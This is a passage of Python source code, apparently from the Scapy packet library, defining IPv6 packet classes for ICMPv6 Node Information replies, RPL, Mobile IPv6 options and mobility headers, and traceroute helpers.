addresses\",\n                  16: \"Site-local addresses\",\n                  32: \"Global addresses\"}\n\n# Internal repr is one of those :\n# (0, \"some string\") : unknown qtype value are mapped to that one\n# (3, [ (ttl, ip6), ... ])\n# (4, [ (ttl, ip4), ... ])\n# (2, [ttl, dns_names]) : dns_names is one string that contains\n#     all the DNS names. Internally it is kept ready to be sent\n#     (undissected). i2repr() decode it for user. This is to\n#     make build after dissection bijective.\n#\n# I also merged getfield() and m2i(), and addfield() and i2m().\n\n\nclass NIReplyDataField(StrField):\n\n    def i2h(self, pkt, x):\n        if x is None:\n            return x\n        t, val = x\n        if t == 2:\n            ttl, dnsnames = val\n            val = [ttl] + dnsrepr2names(dnsnames)\n        return val\n\n    def h2i(self, pkt, x):\n        qtype = 0  # We will decode it as string if not\n        # overridden through 'qtype' in pkt\n\n        # No user hint, let's use 'qtype' value for that purpose\n        if not isinstance(x, tuple):\n            if pkt is not None:\n                qtype = pkt.qtype\n        else:\n            qtype = x[0]\n            x = x[1]\n\n        # From that point on, x is the value (second element of the tuple)\n\n        if qtype == 2:  # DNS name\n            if isinstance(x, (str, bytes)):  # listify the string\n                x = [x]\n            if isinstance(x, list):\n                x = [val.encode() if isinstance(val, str) else val for val in x]  # noqa: E501\n            if x and isinstance(x[0], int):\n                ttl = x[0]\n                names = x[1:]\n            else:\n                ttl = 0\n                names = x\n            return (2, [ttl, names2dnsrepr(names)])\n\n        elif qtype in [3, 4]:  # IPv4 or IPv6 addr\n            if not isinstance(x, list):\n                x = [x]  # User directly provided an IP, instead of list\n\n            def fixvalue(x):\n                # List elements are not tuples, user probably\n                # omitted ttl value : we will use 0 instead\n                if not isinstance(x, tuple):\n                    x = (0, x)\n                # Decode bytes\n                if isinstance(x[1], bytes):\n                    x = (x[0], x[1].decode())\n                return x\n\n            return (qtype, [fixvalue(d) for d in x])\n\n        return (qtype, x)\n\n    def addfield(self, pkt, s, val):\n        t, tmp = val\n        if tmp is None:\n            tmp = b\"\"\n        if t == 2:\n            ttl, dnsstr = tmp\n            return s + struct.pack(\"!I\", ttl) + dnsstr\n        elif t == 3:\n            return s + b\"\".join(map(lambda x_y1: struct.pack(\"!I\", x_y1[0]) + inet_pton(socket.AF_INET6, x_y1[1]), tmp))  # noqa: E501\n        elif t == 4:\n            return s + b\"\".join(map(lambda x_y2: struct.pack(\"!I\", x_y2[0]) + inet_pton(socket.AF_INET, x_y2[1]), tmp))  # noqa: E501\n        else:\n            return s + tmp\n\n    def getfield(self, pkt, s):\n        code = getattr(pkt, \"code\")\n        if code != 0:\n            return s, (0, b\"\")\n\n        qtype = getattr(pkt, \"qtype\")\n        if qtype == 0:  # NOOP\n            return s, (0, b\"\")\n\n        elif qtype == 2:\n            if len(s) < 4:\n                return s, (0, b\"\")\n            ttl = struct.unpack(\"!I\", s[:4])[0]\n            return b\"\", (2, [ttl, s[4:]])\n\n        elif qtype == 3:  # IPv6 addresses with TTLs\n            # XXX TODO : get the real length\n            res = []\n            while len(s) >= 20:  # 4 + 16\n                ttl = struct.unpack(\"!I\", s[:4])[0]\n                ip = inet_ntop(socket.AF_INET6, s[4:20])\n                res.append((ttl, ip))\n                s = s[20:]\n            return s, (3, res)\n\n        elif qtype == 4:  # IPv4 addresses with TTLs\n            # XXX TODO : get the real length\n            res = []\n            while len(s) >= 8:  # 4 + 4\n                ttl = struct.unpack(\"!I\", s[:4])[0]\n                ip = inet_ntop(socket.AF_INET, s[4:8])\n                res.append((ttl, ip))\n                s = s[8:]\n            return s, (4, res)\n        else:\n            # XXX TODO : implement me and deal with real length\n            return b\"\", (0, s)\n\n    def i2repr(self, pkt, x):\n        if x is None:\n            return \"[]\"\n\n        if isinstance(x, tuple) and len(x) == 2:\n            t, val = x\n            if t == 2:  # DNS names\n                ttl, tmp_len = val\n                tmp_len = dnsrepr2names(tmp_len)\n                names_list = (plain_str(name) for name in tmp_len)\n                return \"ttl:%d %s\" % (ttl, \",\".join(names_list))\n            elif t == 3 or t == 4:\n                return \"[ %s ]\" % (\", \".join(map(lambda x_y: \"(%d, %s)\" % (x_y[0], x_y[1]), val)))  # noqa: E501\n            return repr(val)\n        return repr(x)  # XXX should not happen\n\n# By default, sent responses have code set to 0 (successful)\n\n\nclass ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6):\n    name = \"ICMPv6 Node Information Reply - NOOP Reply\"\n    fields_desc = [ByteEnumField(\"type\", 140, icmp6types),\n                   ByteEnumField(\"code\", 0, _nireply_code),\n                   XShortField(\"cksum\", None),\n                   ShortEnumField(\"qtype\", 0, icmp6_niqtypes),\n                   BitField(\"unused\", 0, 10),\n                   FlagsField(\"flags\", 0, 6, \"TACLSG\"),\n                   NonceField(\"nonce\", None),\n                   NIReplyDataField(\"data\", None)]\n\n\nclass ICMPv6NIReplyName(ICMPv6NIReplyNOOP):\n    name = \"ICMPv6 Node Information Reply - Node Names\"\n    qtype = 2\n\n\nclass ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP):\n    name = \"ICMPv6 Node Information Reply - IPv6 addresses\"\n    qtype = 3\n\n\nclass ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP):\n    name = \"ICMPv6 Node Information Reply - IPv4 addresses\"\n    qtype = 4\n\n\nclass ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP):\n    name = \"ICMPv6 Node Information Reply - Responder refuses to supply answer\"\n    code = 1\n\n\nclass ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP):\n    name = \"ICMPv6 Node Information Reply - Qtype unknown to the responder\"\n    code = 2\n\n\ndef _niquery_guesser(p):\n    cls = conf.raw_layer\n    type = orb(p[0])\n    if type == 139:  # Node Info Query specific stuff\n        if len(p) > 6:\n            qtype, = struct.unpack(\"!H\", p[4:6])\n            cls = {0: ICMPv6NIQueryNOOP,\n                   2: ICMPv6NIQueryName,\n                   3: ICMPv6NIQueryIPv6,\n                   4: ICMPv6NIQueryIPv4}.get(qtype, conf.raw_layer)\n    elif type == 140:  # Node Info Reply specific stuff\n        code = orb(p[1])\n        if code == 0:\n            if len(p) > 6:\n                qtype, = struct.unpack(\"!H\", p[4:6])\n                cls = {2: ICMPv6NIReplyName,\n                       3: ICMPv6NIReplyIPv6,\n                       4: ICMPv6NIReplyIPv4}.get(qtype, ICMPv6NIReplyNOOP)\n        elif code == 1:\n            cls = ICMPv6NIReplyRefuse\n        elif code == 2:\n            cls = ICMPv6NIReplyUnknown\n    return cls\n\n\n#############################################################################\n#############################################################################\n#     Routing Protocol for Low Power and Lossy Networks RPL (RFC 6550)      #\n#############################################################################\n#############################################################################\n\n# https://www.iana.org/assignments/rpl/rpl.xhtml#control-codes\nrplcodes = {0: \"DIS\",\n            1: \"DIO\",\n            2: \"DAO\",\n            3: \"DAO-ACK\",\n            # 4: \"P2P-DRO\",\n            # 5: \"P2P-DRO-ACK\",\n            # 6: \"Measurement\",\n            7: \"DCO\",\n            8: \"DCO-ACK\"}\n\n\nclass ICMPv6RPL(_ICMPv6):   # RFC 6550\n    name = 'RPL'\n    fields_desc = [ByteEnumField(\"type\", 155, icmp6types),\n                   ByteEnumField(\"code\", 0, rplcodes),\n                   XShortField(\"cksum\", None)]\n    overload_fields = {IPv6: {\"nh\": 58, \"dst\": \"ff02::1a\"}}\n\n\n#############################################################################\n#############################################################################\n#               Mobile IPv6 (RFC 3775) and Nemo (RFC 3963)                  #\n#############################################################################\n#############################################################################\n\n# Mobile IPv6 ICMPv6 related classes\n\nclass ICMPv6HAADRequest(_ICMPv6):\n    name = 'ICMPv6 Home Agent Address Discovery Request'\n    fields_desc = [ByteEnumField(\"type\", 144, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   XShortField(\"id\", None),\n                   BitEnumField(\"R\", 1, 1, {1: 'MR'}),\n                   XBitField(\"res\", 0, 15)]\n\n    def hashret(self):\n        return struct.pack(\"!H\", self.id) + self.payload.hashret()\n\n\nclass ICMPv6HAADReply(_ICMPv6):\n    name = 'ICMPv6 Home Agent Address Discovery Reply'\n    fields_desc = [ByteEnumField(\"type\", 145, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   XShortField(\"id\", None),\n                   BitEnumField(\"R\", 1, 1, {1: 'MR'}),\n                   XBitField(\"res\", 0, 15),\n                   IP6ListField('addresses', None)]\n\n    def hashret(self):\n        return struct.pack(\"!H\", self.id) + self.payload.hashret()\n\n    def answers(self, other):\n        if not isinstance(other, ICMPv6HAADRequest):\n            return 0\n        return self.id == other.id\n\n\nclass ICMPv6MPSol(_ICMPv6):\n    name = 'ICMPv6 Mobile Prefix Solicitation'\n    fields_desc = [ByteEnumField(\"type\", 146, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   XShortField(\"id\", None),\n                   XShortField(\"res\", 0)]\n\n    def _hashret(self):\n        return struct.pack(\"!H\", self.id)\n\n\nclass ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6):\n    name = 'ICMPv6 Mobile Prefix Advertisement'\n    fields_desc = [ByteEnumField(\"type\", 147, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   XShortField(\"id\", None),\n                   BitEnumField(\"flags\", 2, 2, {2: 'M', 1: 'O'}),\n                   XBitField(\"res\", 0, 14)]\n\n    def hashret(self):\n        return struct.pack(\"!H\", self.id)\n\n    def answers(self, other):\n        return isinstance(other, ICMPv6MPSol)\n\n# Mobile IPv6 Options classes\n\n\n_mobopttypes = {2: \"Binding Refresh Advice\",\n                3: \"Alternate Care-of Address\",\n                4: \"Nonce Indices\",\n                5: \"Binding Authorization Data\",\n                6: \"Mobile Network Prefix (RFC3963)\",\n                7: \"Link-Layer Address (RFC4068)\",\n                8: \"Mobile Node Identifier (RFC4283)\",\n                9: \"Mobility Message Authentication (RFC4285)\",\n                10: \"Replay Protection (RFC4285)\",\n                11: \"CGA Parameters Request (RFC4866)\",\n                12: \"CGA Parameters (RFC4866)\",\n                13: \"Signature (RFC4866)\",\n                14: \"Home Keygen Token (RFC4866)\",\n                15: \"Care-of Test Init (RFC4866)\",\n                16: \"Care-of Test (RFC4866)\"}\n\n\nclass _MIP6OptAlign(Packet):\n    \"\"\" Mobile IPv6 options have alignment requirements of the form x*n+y.\n    This class is inherited by all MIPv6 options to help in computing the\n    required Padding for that option, i.e. the need for a Pad1 or PadN\n    option before it. They only need to provide x and y as class\n    parameters. (x=0 and y=0 are used when no alignment is required)\"\"\"\n\n    __slots__ = [\"x\", \"y\"]\n\n    def alignment_delta(self, curpos):\n        x = self.x\n        y = self.y\n        if x == 0 and y == 0:\n            return 0\n        delta = x * ((curpos - y + x - 1) // x) + y - curpos\n        return delta\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass MIP6OptBRAdvice(_MIP6OptAlign):\n    name = 'Mobile IPv6 Option - Binding Refresh Advice'\n    fields_desc = [ByteEnumField('otype', 2, _mobopttypes),\n                   ByteField('olen', 2),\n                   ShortField('rinter', 0)]\n    x = 2\n    y = 0  # alignment requirement: 2n\n\n\nclass MIP6OptAltCoA(_MIP6OptAlign):\n    name = 'MIPv6 Option - Alternate Care-of Address'\n    fields_desc = [ByteEnumField('otype', 3, _mobopttypes),\n                   ByteField('olen', 16),\n                   IP6Field(\"acoa\", \"::\")]\n    x = 8\n    y = 6  # alignment requirement: 8n+6\n\n\nclass MIP6OptNonceIndices(_MIP6OptAlign):\n    name = 'MIPv6 Option - Nonce Indices'\n    fields_desc = [ByteEnumField('otype', 4, _mobopttypes),\n                   ByteField('olen', 16),\n                   ShortField('hni', 0),\n                   ShortField('coni', 0)]\n    x = 2\n    y = 0  # alignment requirement: 2n\n\n\nclass MIP6OptBindingAuthData(_MIP6OptAlign):\n    name = 'MIPv6 Option - Binding Authorization Data'\n    fields_desc = [ByteEnumField('otype', 5, _mobopttypes),\n                   ByteField('olen', 16),\n                   BitField('authenticator', 0, 96)]\n    x = 8\n    y = 2  # alignment requirement: 8n+2\n\n\nclass MIP6OptMobNetPrefix(_MIP6OptAlign):  # NEMO - RFC 3963\n    name = 'NEMO Option - Mobile Network Prefix'\n    fields_desc = [ByteEnumField(\"otype\", 6, _mobopttypes),\n                   ByteField(\"olen\", 18),\n                   ByteField(\"reserved\", 0),\n                   ByteField(\"plen\", 64),\n                   IP6Field(\"prefix\", \"::\")]\n    x = 8\n    y = 4  # alignment requirement: 8n+4\n\n\nclass MIP6OptLLAddr(_MIP6OptAlign):  # Sect 6.4.4 of RFC 4068\n    name = \"MIPv6 Option - Link-Layer Address (MH-LLA)\"\n    fields_desc = [ByteEnumField(\"otype\", 7, _mobopttypes),\n                   ByteField(\"olen\", 7),\n                   ByteEnumField(\"ocode\", 2, _rfc4068_lla_optcode),\n                   ByteField(\"pad\", 0),\n                   MACField(\"lla\", ETHER_ANY)]  # Only support ethernet\n    x = 0\n    y = 0  # alignment requirement: none\n\n\nclass MIP6OptMNID(_MIP6OptAlign):  # RFC 4283\n    name = \"MIPv6 Option - Mobile Node Identifier\"\n    fields_desc = [ByteEnumField(\"otype\", 8, _mobopttypes),\n                   FieldLenField(\"olen\", None, length_of=\"id\", fmt=\"B\",\n                                 adjust=lambda pkt, x: x + 1),\n                   ByteEnumField(\"subtype\", 1, {1: \"NAI\"}),\n                   StrLenField(\"id\", \"\",\n                               length_from=lambda pkt: pkt.olen - 1)]\n    x = 0\n    y = 0  # alignment requirement: none\n\n# We only support decoding and basic build. Automatic HMAC computation is\n# too much work for our current needs. It is left to the user (I mean ...\n# you). --arno\n\n\nclass MIP6OptMsgAuth(_MIP6OptAlign):  # RFC 4285 (Sect. 5)\n    name = \"MIPv6 Option - Mobility Message Authentication\"\n    fields_desc = [ByteEnumField(\"otype\", 9, _mobopttypes),\n                   FieldLenField(\"olen\", None, length_of=\"authdata\", fmt=\"B\",\n                                 adjust=lambda pkt, x: x + 5),\n                   ByteEnumField(\"subtype\", 1, {1: \"MN-HA authentication mobility option\",  # noqa: E501\n                                                2: \"MN-AAA authentication mobility option\"}),  # noqa: E501\n                   IntField(\"mspi\", None),\n                   StrLenField(\"authdata\", \"A\" * 12,\n                               length_from=lambda pkt: pkt.olen - 5)]\n    x = 4\n    y = 1  # alignment requirement: 4n+1\n\n# Extracted from RFC 1305 (NTP) :\n# NTP timestamps are represented as a 64-bit unsigned fixed-point number,\n# in seconds relative to 0h on 1 January 1900. The integer part is in the\n# first 32 bits and the fraction part in the last 32 bits.\n\n\nclass NTPTimestampField(LongField):\n    def i2repr(self, pkt, x):\n        if x < ((50 * 31536000) << 32):\n            return \"Some date a few decades ago (%d)\" % x\n\n        # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to\n        # January 1st 1970 :\n        delta = -2209075761\n        i = int(x >> 32)\n        j = float(x & 0xffffffff) * 2.0**-32\n        res = i + j + delta\n        t = strftime(\"%a, %d %b %Y %H:%M:%S +0000\", gmtime(res))\n\n        return \"%s (%d)\" % (t, x)\n\n\nclass MIP6OptReplayProtection(_MIP6OptAlign):  # RFC 4285 (Sect. 6)\n    name = \"MIPv6 option - Replay Protection\"\n    fields_desc = [ByteEnumField(\"otype\", 10, _mobopttypes),\n                   ByteField(\"olen\", 8),\n                   NTPTimestampField(\"timestamp\", 0)]\n    x = 8\n    y = 2  # alignment requirement: 8n+2\n\n\nclass MIP6OptCGAParamsReq(_MIP6OptAlign):  # RFC 4866 (Sect. 5.6)\n    name = \"MIPv6 option - CGA Parameters Request\"\n    fields_desc = [ByteEnumField(\"otype\", 11, _mobopttypes),\n                   ByteField(\"olen\", 0)]\n    x = 0\n    y = 0  # alignment requirement: none\n\n# XXX TODO: deal with CGA param fragmentation and build of defragmented\n# XXX       version. Passing of a big CGAParam structure should be\n# XXX       simplified. Make it hold packets, by the way  --arno\n\n\nclass MIP6OptCGAParams(_MIP6OptAlign):  # RFC 4866 (Sect. 5.1)\n    name = \"MIPv6 option - CGA Parameters\"\n    fields_desc = [ByteEnumField(\"otype\", 12, _mobopttypes),\n                   FieldLenField(\"olen\", None, length_of=\"cgaparams\", fmt=\"B\"),\n                   StrLenField(\"cgaparams\", \"\",\n                               length_from=lambda pkt: pkt.olen)]\n    x = 0\n    y = 0  # alignment requirement: none\n\n\nclass MIP6OptSignature(_MIP6OptAlign):  # RFC 4866 (Sect. 5.2)\n    name = \"MIPv6 option - Signature\"\n    fields_desc = [ByteEnumField(\"otype\", 13, _mobopttypes),\n                   FieldLenField(\"olen\", None, length_of=\"sig\", fmt=\"B\"),\n                   StrLenField(\"sig\", \"\",\n                               length_from=lambda pkt: pkt.olen)]\n    x = 0\n    y = 0  # alignment requirement: none\n\n\nclass MIP6OptHomeKeygenToken(_MIP6OptAlign):  # RFC 4866 (Sect. 5.3)\n    name = \"MIPv6 option - Home Keygen Token\"\n    fields_desc = [ByteEnumField(\"otype\", 14, _mobopttypes),\n                   FieldLenField(\"olen\", None, length_of=\"hkt\", fmt=\"B\"),\n                   StrLenField(\"hkt\", \"\",\n                               length_from=lambda pkt: pkt.olen)]\n    x = 0\n    y = 0  # alignment requirement: none\n\n\nclass MIP6OptCareOfTestInit(_MIP6OptAlign):  # RFC 4866 (Sect. 5.4)\n    name = \"MIPv6 option - Care-of Test Init\"\n    fields_desc = [ByteEnumField(\"otype\", 15, _mobopttypes),\n                   ByteField(\"olen\", 0)]\n    x = 0\n    y = 0  # alignment requirement: none\n\n\nclass MIP6OptCareOfTest(_MIP6OptAlign):  # RFC 4866 (Sect. 5.5)\n    name = \"MIPv6 option - Care-of Test\"\n    fields_desc = [ByteEnumField(\"otype\", 16, _mobopttypes),\n                   FieldLenField(\"olen\", None, length_of=\"cokt\", fmt=\"B\"),\n                   StrLenField(\"cokt\", b'\\x00' * 8,\n                               length_from=lambda pkt: pkt.olen)]\n    x = 0\n    y = 0  # alignment requirement: none\n\n\nclass MIP6OptUnknown(_MIP6OptAlign):\n    name = 'Scapy6 - Unknown Mobility Option'\n    fields_desc = [ByteEnumField(\"otype\", 6, _mobopttypes),\n                   FieldLenField(\"olen\", None, length_of=\"odata\", fmt=\"B\"),\n                   StrLenField(\"odata\", \"\",\n                               length_from=lambda pkt: pkt.olen)]\n    x = 0\n    y = 0  # alignment requirement: none\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *_, **kargs):\n        if _pkt:\n            o = orb(_pkt[0])  # Option type\n            if o in moboptcls:\n                return moboptcls[o]\n        return cls\n\n\nmoboptcls = {0: Pad1,\n             1: PadN,\n             2: MIP6OptBRAdvice,\n             3: MIP6OptAltCoA,\n             4: MIP6OptNonceIndices,\n             5: MIP6OptBindingAuthData,\n             6: MIP6OptMobNetPrefix,\n             7: MIP6OptLLAddr,\n             8: MIP6OptMNID,\n             9: MIP6OptMsgAuth,\n             10: MIP6OptReplayProtection,\n             11: MIP6OptCGAParamsReq,\n             12: MIP6OptCGAParams,\n             13: MIP6OptSignature,\n             14: MIP6OptHomeKeygenToken,\n             15: MIP6OptCareOfTestInit,\n             16: MIP6OptCareOfTest}\n\n\n# Main Mobile IPv6 Classes\n\nmhtypes = {0: 'BRR',\n           1: 'HoTI',\n           2: 'CoTI',\n           3: 'HoT',\n           4: 'CoT',\n           5: 'BU',\n           6: 'BA',\n           7: 'BE',\n           8: 'Fast BU',\n           9: 'Fast BA',\n           10: 'Fast NA'}\n\n# From http://www.iana.org/assignments/mobility-parameters\nbastatus = {0: 'Binding Update accepted',\n               1: 'Accepted but prefix discovery necessary',\n            128: 'Reason unspecified',\n            129: 'Administratively prohibited',\n            130: 'Insufficient resources',\n            131: 'Home registration not supported',\n            132: 'Not home subnet',\n            133: 'Not home agent for this mobile node',\n            134: 'Duplicate Address Detection failed',\n            135: 'Sequence number out of window',\n            136: 'Expired home nonce index',\n            137: 'Expired care-of nonce index',\n            138: 'Expired nonces',\n            139: 'Registration type change disallowed',\n            140: 'Mobile Router Operation not permitted',\n            141: 'Invalid Prefix',\n            142: 'Not Authorized for Prefix',\n            143: 'Forwarding Setup failed (prefixes missing)',\n            144: 'MIPV6-ID-MISMATCH',\n            145: 'MIPV6-MESG-ID-REQD',\n            146: 'MIPV6-AUTH-FAIL',\n            147: 'Permanent home keygen token unavailable',\n            148: 'CGA and signature verification failed',\n            149: 'Permanent home keygen token exists',\n            150: 'Non-null home nonce index expected'}\n\n\nclass _MobilityHeader(Packet):\n    name = 'Dummy IPv6 Mobility Header'\n    overload_fields = {IPv6: {\"nh\": 135}}\n\n    def post_build(self, p, pay):\n        p += pay\n        tmp_len = self.len\n        if self.len is None:\n            tmp_len = (len(p) - 8) // 8\n        p = p[:1] + struct.pack(\"B\", tmp_len) + p[2:]\n        if self.cksum is None:\n            cksum = in6_chksum(135, self.underlayer, p)\n        else:\n            cksum = self.cksum\n        p = p[:4] + struct.pack(\"!H\", cksum) + p[6:]\n        return p\n\n\nclass MIP6MH_Generic(_MobilityHeader):  # Mainly for decoding of unknown msg\n    name = \"IPv6 Mobility Header - Generic Message\"\n    fields_desc = [ByteEnumField(\"nh\", 59, ipv6nh),\n                   ByteField(\"len\", None),\n                   ByteEnumField(\"mhtype\", None, mhtypes),\n                   ByteField(\"res\", None),\n                   XShortField(\"cksum\", None),\n                   StrLenField(\"msg\", b\"\\x00\" * 2,\n                               length_from=lambda pkt: 8 * pkt.len - 6)]\n\n\nclass MIP6MH_BRR(_MobilityHeader):\n    name = \"IPv6 Mobility Header - Binding Refresh Request\"\n    fields_desc = [ByteEnumField(\"nh\", 59, ipv6nh),\n                   ByteField(\"len\", None),\n                   ByteEnumField(\"mhtype\", 0, mhtypes),\n                   ByteField(\"res\", None),\n                   XShortField(\"cksum\", None),\n                   ShortField(\"res2\", None),\n                   _PhantomAutoPadField(\"autopad\", 1),  # autopad activated by default  # noqa: E501\n                   _OptionsField(\"options\", [], MIP6OptUnknown, 8,\n                                 length_from=lambda pkt: 8 * pkt.len)]\n    overload_fields = {IPv6: {\"nh\": 135}}\n\n    def hashret(self):\n        # Hack: BRR, BU and BA have the same hashret that returns the same\n        #       value b\"\\x00\\x08\\x09\" (concatenation of mhtypes). This is\n        #       because we need match BA with BU and BU with BRR. --arno\n        return b\"\\x00\\x08\\x09\"\n\n\nclass MIP6MH_HoTI(_MobilityHeader):\n    name = \"IPv6 Mobility Header - Home Test Init\"\n    fields_desc = [ByteEnumField(\"nh\", 59, ipv6nh),\n                   ByteField(\"len\", None),\n                   ByteEnumField(\"mhtype\", 1, mhtypes),\n                   ByteField(\"res\", None),\n                   XShortField(\"cksum\", None),\n                   StrFixedLenField(\"reserved\", b\"\\x00\" * 2, 2),\n                   StrFixedLenField(\"cookie\", b\"\\x00\" * 8, 8),\n                   _PhantomAutoPadField(\"autopad\", 1),  # autopad activated by default  # noqa: E501\n                   _OptionsField(\"options\", [], MIP6OptUnknown, 16,\n                                 length_from=lambda pkt: 8 * (pkt.len - 1))]\n    overload_fields = {IPv6: {\"nh\": 135}}\n\n    def hashret(self):\n        return bytes_encode(self.cookie)\n\n\nclass MIP6MH_CoTI(MIP6MH_HoTI):\n    name = \"IPv6 Mobility Header - Care-of Test Init\"\n    mhtype = 2\n\n    def hashret(self):\n        return bytes_encode(self.cookie)\n\n\nclass MIP6MH_HoT(_MobilityHeader):\n    name = \"IPv6 Mobility Header - Home Test\"\n    fields_desc = [ByteEnumField(\"nh\", 59, ipv6nh),\n                   ByteField(\"len\", None),\n                   ByteEnumField(\"mhtype\", 3, mhtypes),\n                   ByteField(\"res\", None),\n                   XShortField(\"cksum\", None),\n                   ShortField(\"index\", None),\n                   StrFixedLenField(\"cookie\", b\"\\x00\" * 8, 8),\n                   StrFixedLenField(\"token\", b\"\\x00\" * 8, 8),\n                   _PhantomAutoPadField(\"autopad\", 1),  # autopad activated by default  # noqa: E501\n                   _OptionsField(\"options\", [], MIP6OptUnknown, 24,\n                                 length_from=lambda pkt: 8 * (pkt.len - 2))]\n    overload_fields = {IPv6: {\"nh\": 135}}\n\n    def hashret(self):\n        return bytes_encode(self.cookie)\n\n    def answers(self, other):\n        if (isinstance(other, MIP6MH_HoTI) and\n                self.cookie == other.cookie):\n            return 1\n        return 0\n\n\nclass MIP6MH_CoT(MIP6MH_HoT):\n    name = \"IPv6 Mobility Header - Care-of Test\"\n    mhtype = 4\n\n    def hashret(self):\n        return bytes_encode(self.cookie)\n\n    def answers(self, other):\n        if (isinstance(other, MIP6MH_CoTI) and\n                self.cookie == other.cookie):\n            return 1\n        return 0\n\n\nclass LifetimeField(ShortField):\n    def i2repr(self, pkt, x):\n        return \"%d sec\" % (4 * x)\n\n\nclass MIP6MH_BU(_MobilityHeader):\n    name = \"IPv6 Mobility Header - Binding Update\"\n    fields_desc = [ByteEnumField(\"nh\", 59, ipv6nh),\n                   ByteField(\"len\", None),  # unit == 8 bytes (excluding the first 8 bytes)  # noqa: E501\n                   ByteEnumField(\"mhtype\", 5, mhtypes),\n                   ByteField(\"res\", None),\n                   XShortField(\"cksum\", None),\n                   XShortField(\"seq\", None),  # TODO: ShortNonceField\n                   FlagsField(\"flags\", \"KHA\", 7, \"PRMKLHA\"),\n                   XBitField(\"reserved\", 0, 9),\n                   LifetimeField(\"mhtime\", 3),  # unit == 4 seconds\n                   _PhantomAutoPadField(\"autopad\", 1),  # autopad activated by default  # noqa: E501\n                   _OptionsField(\"options\", [], MIP6OptUnknown, 12,\n                                 length_from=lambda pkt: 8 * pkt.len - 4)]\n    overload_fields = {IPv6: {\"nh\": 135}}\n\n    def hashret(self):  # Hack: see comment in MIP6MH_BRR.hashret()\n        return b\"\\x00\\x08\\x09\"\n\n    def answers(self, other):\n        if isinstance(other, MIP6MH_BRR):\n            return 1\n        return 0\n\n\nclass MIP6MH_BA(_MobilityHeader):\n    name = \"IPv6 Mobility Header - Binding ACK\"\n    fields_desc = [ByteEnumField(\"nh\", 59, ipv6nh),\n                   ByteField(\"len\", None),  # unit == 8 bytes (excluding the first 8 bytes)  # noqa: E501\n                   ByteEnumField(\"mhtype\", 6, mhtypes),\n                   ByteField(\"res\", None),\n                   XShortField(\"cksum\", None),\n                   ByteEnumField(\"status\", 0, bastatus),\n                   FlagsField(\"flags\", \"K\", 3, \"PRK\"),\n                   XBitField(\"res2\", None, 5),\n                   XShortField(\"seq\", None),  # TODO: ShortNonceField\n                   XShortField(\"mhtime\", 0),  # unit == 4 seconds\n                   _PhantomAutoPadField(\"autopad\", 1),  # autopad activated by default  # noqa: E501\n                   _OptionsField(\"options\", [], MIP6OptUnknown, 12,\n                                 length_from=lambda pkt: 8 * pkt.len - 4)]\n    overload_fields = {IPv6: {\"nh\": 135}}\n\n    def hashret(self):  # Hack: see comment in MIP6MH_BRR.hashret()\n        return b\"\\x00\\x08\\x09\"\n\n    def answers(self, other):\n        if (isinstance(other, MIP6MH_BU) and\n            other.mhtype == 5 and\n            self.mhtype == 6 and\n            other.flags & 0x1 and  # Ack request flags is set\n                self.seq == other.seq):\n            return 1\n        return 0\n\n\n_bestatus = {1: 'Unknown binding for Home Address destination option',\n             2: 'Unrecognized MH Type value'}\n\n# TODO: match Binding Error to its stimulus\n\n\nclass MIP6MH_BE(_MobilityHeader):\n    name = \"IPv6 Mobility Header - Binding Error\"\n    fields_desc = [ByteEnumField(\"nh\", 59, ipv6nh),\n                   ByteField(\"len\", None),  # unit == 8 bytes (excluding the first 8 bytes)  # noqa: E501\n                   ByteEnumField(\"mhtype\", 7, mhtypes),\n                   ByteField(\"res\", 0),\n                   XShortField(\"cksum\", None),\n                   ByteEnumField(\"status\", 0, _bestatus),\n                   ByteField(\"reserved\", 0),\n                   IP6Field(\"ha\", \"::\"),\n                   _OptionsField(\"options\", [], MIP6OptUnknown, 24,\n                                 length_from=lambda pkt: 8 * (pkt.len - 2))]\n    overload_fields = {IPv6: {\"nh\": 135}}\n\n\n_mip6_mhtype2cls = {0: MIP6MH_BRR,\n                    1: MIP6MH_HoTI,\n                    2: MIP6MH_CoTI,\n                    3: MIP6MH_HoT,\n                    4: MIP6MH_CoT,\n                    5: MIP6MH_BU,\n                    6: MIP6MH_BA,\n                    7: MIP6MH_BE}\n\n\n#############################################################################\n#############################################################################\n#                               Traceroute6                                 #\n#############################################################################\n#############################################################################\n\nclass AS_resolver6(AS_resolver_riswhois):\n    def _resolve_one(self, ip):\n        \"\"\"\n        overloaded version to provide a Whois resolution on the\n        embedded IPv4 address if the address is 6to4 or Teredo.\n        Otherwise, the native IPv6 address is passed.\n        \"\"\"\n\n        if in6_isaddr6to4(ip):  # for 6to4, use embedded @\n            tmp = inet_pton(socket.AF_INET6, ip)\n            addr = inet_ntop(socket.AF_INET, tmp[2:6])\n        elif in6_isaddrTeredo(ip):  # for Teredo, use mapped address\n            addr = teredoAddrExtractInfo(ip)[2]\n        else:\n            addr = ip\n\n        _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr)\n\n        if asn.startswith(\"AS\"):\n            try:\n                asn = int(asn[2:])\n            except ValueError:\n                pass\n\n        return ip, asn, desc\n\n\nclass TracerouteResult6(TracerouteResult):\n    __slots__ = []\n\n    def show(self):\n        return self.make_table(lambda s, r: (s.sprintf(\"%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}\"),  # TODO: ICMPv6 !  # noqa: E501\n                                             s.hlim,\n                                             r.sprintf(\"%-42s,IPv6.src% {TCP:%TCP.flags%}\" +  # noqa: E501\n                                                       \"{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}\" +  # noqa: E501\n                                                       \"{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}\" +  # noqa: E501\n                                                       